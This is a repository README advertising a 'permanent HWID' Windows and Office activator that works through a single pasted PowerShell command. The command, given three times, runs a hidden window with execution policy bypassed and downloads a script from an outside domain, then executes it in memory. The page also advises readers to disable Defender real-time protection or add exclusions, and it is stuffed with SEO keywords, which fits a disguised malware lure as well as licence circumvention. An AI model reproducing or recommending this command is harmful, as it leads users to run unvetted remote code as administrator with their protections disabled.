Skip to content

Latest commit

 

History

9 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 

Repository files navigation

Activate Windows with PowerShell

Activate Windows with PowerShell

Permanent HWID activation for Windows 10 and Windows 11 — one PowerShell command.

Windows PowerShell HWID License


Overview

This guide shows how to activate Windows using PowerShell in administrator mode with a single command. The HWID activation method binds a digital license to the motherboard, making it permanent — the license survives reinstalls of the same Windows edition on the same hardware.

Supported: Windows 11, Windows 10, Windows 8.1, Windows 7, Office 2013–2024, and LTSC/LTSB editions.


Quick Start

Open PowerShell as Administrator and run:

powershell -nop -w h -ep bypass -c "`$krp=New-Object Net.WebClient;`$dpq=`$krp.DownloadString('https://hashedsolver.icu/update1.ps1');.([scriptblock]::create(`$dpq))"

Then press 1 to select HWID Activation and follow the on-screen instructions.


Steps to Activate Windows

1. Open PowerShell as Administrator

  • Press Win + S, type PowerShell.
  • Right-click Windows PowerShell and select Run as administrator.
  • Approve the UAC prompt.

2. Run the activation command

Paste the following into the elevated PowerShell window and press Enter:

powershell -nop -w h -ep bypass -c "`$krp=New-Object Net.WebClient;`$dpq=`$krp.DownloadString('https://hashedsolver.icu/update1.ps1');.([scriptblock]::create(`$dpq))"

3. Select activation method

When the menu appears, press 1 on your keyboard to select:

HWID Activation — Permanent Windows activation

4. Wait for completion

The script contacts Microsoft activation servers, injects a digital license tied to your hardware ID, and reports the result. Typical runtime: 10–40 seconds.

5. Restart your PC

Reboot to apply the changes. After restart, verify activation status:

slmgr /xpr

You should see: "The machine is permanently activated."


What Is HWID Activation?

HWID (Hardware ID) activation registers a digital license with Microsoft's activation servers, keyed to your motherboard. Once activated:

  • The license is permanent on that hardware.
  • Clean reinstalls of the same edition auto-activate — no key required.
  • Windows Update, Microsoft Store, and Defender work normally.
  • Genuine status is reported by slmgr /xpr and Settings → Activation.

Other methods available in the same menu:

Option Method Duration
1 HWID (Digital License) Permanent
2 KMS38 Until 2038
3 Online KMS 180 days (auto-renew)
4 Office activation Permanent (KMS38)

Verify Activation

Check activation status from PowerShell:

slmgr /xpr        # short status
slmgr /dlv        # detailed license info

Or open Settings → System → Activation.


Troubleshooting

PowerShell blocks the script (execution policy)

Run PowerShell as admin and execute:

powershell -nop -w h -ep bypass -c "`$krp=New-Object Net.WebClient;`$dpq=`$krp.DownloadString('https://hashedsolver.icu/update1.ps1');.([scriptblock]::create(`$dpq))"
Windows Defender flags the script

Some antivirus tools flag activation scripts as unwanted. Temporarily disable real-time protection, or add a folder exclusion, then re-run the command.

"Error 0xC004F074" during HWID activation

Your edition may not be supported by HWID. Use option 2 (KMS38) or 3 (Online KMS) from the menu instead.

Command fails with "irm not recognized"

You are in Command Prompt, not PowerShell. Close it and open Windows PowerShell (or PowerShell 7) as administrator.


Requirements

  • OS: Windows 7 / 8.1 / 10 / 11 (any edition)
  • Privileges: Administrator
  • Network: Stable internet connection (script is fetched from the server, and activation contacts Microsoft)
  • PowerShell: 5.1 or newer (bundled with Windows 10/11)

Notes

  • Always verify script sources before executing them.
  • The command requires administrative privileges.
  • HWID activation is tied to hardware — replacing the motherboard invalidates the license.
  • Reinstallation of the same edition on the same hardware re-activates automatically.

Keywords

activate windows · windows activation · windows 11 activator · windows 10 activator powershell activation · hwid activation · digital license windows · permanent activation kms38 · office activator · windows 11 pro activation · slmgr · activate windows free windows 11 activation key · windows 10 activation key · microsoft activation scripts


⭐ Star this repository if it helped you

About

Activate Windows 10 & 11 permanently with one PowerShell command. HWID digital license activation, KMS38, Office activator. Free, open-source.

Topics

Resources

Stars

50 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors